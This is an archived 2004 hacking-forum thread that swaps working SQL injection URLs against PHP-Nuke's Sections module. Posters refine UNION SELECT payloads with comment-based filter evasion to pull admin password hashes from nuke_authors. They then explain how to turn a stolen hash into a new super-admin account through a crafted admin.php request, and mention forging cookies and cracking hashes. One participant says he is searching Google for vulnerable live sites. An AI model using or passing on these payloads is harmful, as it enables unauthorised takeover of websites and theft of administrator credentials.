hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

migo
Hey Guys
i found a new exploit for PHP Nuke but unfortunately it didn't work as posted by the author in rootlab.ru
the problem exist in the Sections module in the variable secid
here is the original exploit that don't work
CODE

http: // target/modules.php? name=Sections&op;=listarticles&secid; =-1 UNION SELECT 0,0, pwd, 0,0 FROM nuke_authors/*


the corect one modified by me which is working great in all nuke versions is

CODE

http://www.victim.com/modules.php?name=Sections&op=listarticles&secid=-1/**/UNION/**/SELECT/**/0,0,pwd,0,0/**/FROM/**/nuke_authors

the previous code will display the encrypted hash of the admin account and will evade the stupid proector system as well!

another working one
CODE

http://www.victim.com/modules.php?name=Sections&op=listarticles&secid=-1/**/UNION/**/SELECT/**/pwd/**/FROM/**/nuke_authors



Note: PHP Nuke is Sh*t
i'll never stop asking people to stop using it!

Best Regards
migo
MpR
niceee
10x

but i need a good new sploit 4 phpbb :|

got 1 ?
migo
soon will be wink.gif
but the old sploit in the priv_msg value is still working perfect
i do my best to notify everyone i know using phpbb and have this vuln exist

we learn attacks to well defend ourselves wink.gif

F34R
Old and new sploits alike are welcome here... some of us missed em when they were here before.
Thanks d00d
biggrin.gif
x1`
when you exploit these php server can u get root and upload files and stuff?
migo
QUOTE (Dickybob20 @ May 16 2004, 07:41 PM)
when you exploit these php server can u get root and upload files and stuff?

it depend on the modules installed in PHP Nuke , but theorically within most known modules you can include files from the server and you can upload files to the writable folders
but in general it depend on many things

d0whc3r
nice exploit but... how can u identify as an admin when u have md5 pass? most of sites don't accept /admin.php?admin=Encripted... sad.gif any solution? any other way to create a user?
thx
whiskah
QUOTE (d0whc3r @ May 17 2004, 07:07 AM)
nice exploit but... how can u identify as an admin when u have md5 pass? most of sites don't accept /admin.php?admin=Encripted... sad.gif any solution? any other way to create a user?
thx

u have to crack the md5 password using an md5 cracker ..before u can login..I posted an exploit by waraxe earlier on another thread that automatically adds a god admin ..
Mandarins
QUOTE (d0whc3r @ May 16 2004, 11:07 PM)
nice exploit but... how can u identify as an admin when u have md5 pass? most of sites don't accept /admin.php?admin=Encripted... sad.gif any solution? any other way to create a user?
thx

I am not a pro but such questions ar l#me. Man you are in status of a member and asking question like: how to use copy/paste mad.gif

If U can't crack the pass, just construct a cookie with it, please don't ask how to do it (use governmentsecurity.org search/ google or there is section 4 the beginners).

No offence but still... mad.gif
migo
QUOTE (d0whc3r @ May 16 2004, 11:07 PM)
nice exploit but... how can u identify as an admin when u have md5 pass? most of sites don't accept /admin.php?admin=Encripted... sad.gif any solution? any other way to create a user?
thx

hey
first base64 encode the usernaem and the admin md5 hash that u get
http://www.isecurelabs.com/outils/base64/

second use the resulting output to creat the super user accoun with this url

http://localhost/nuke71/admin.php?op=AddAu...nsuper=1&admin=

at the last of the above link put after the word "admin=" the base64 encode result that u get in the previous step

use the username "me" and tha password "pass"
boooooom!
easy access to admin panel

didn't i told you that php nuke is sh*t and they fixing it with another one! lol
setthesun
Very good work, thanks a lot.

Also I improved SQL a bit to prevent some possible non-admin MD5 data;


SQL;
/modules.php?name=Sections&op=listarticles&secid=-1/**/UNION/**/SELECT/**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
migo
awesome wink.gif
nuorder
QUOTE (MpR @ May 17 2004, 12:09 AM)
niceee
10x

but i need a good new sploit 4 phpbb :|

got 1 ?

hahahah now i know why MpR wanted this
liquidSilver
PHP-nuke is sure the devil. laugh.gif
Imps2
Thnx for post but this is what I'm keep getting all the time

Sorry, this Module isn't active!


Greetz Imps2
cagontoo
doesn´t work for me x(
nuorder
QUOTE
Thnx for post but this is what I'm keep getting all the time

Sorry, this Module isn't active!


Greetz Imps2

it means that they havnt activated that module, the error message says it all

QUOTE
doesn´t work for me  x(

good
Imps2
Jup thnxs for advise now I'm googling on "modules .php sections" and I find working ones


Greetz Imps2
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.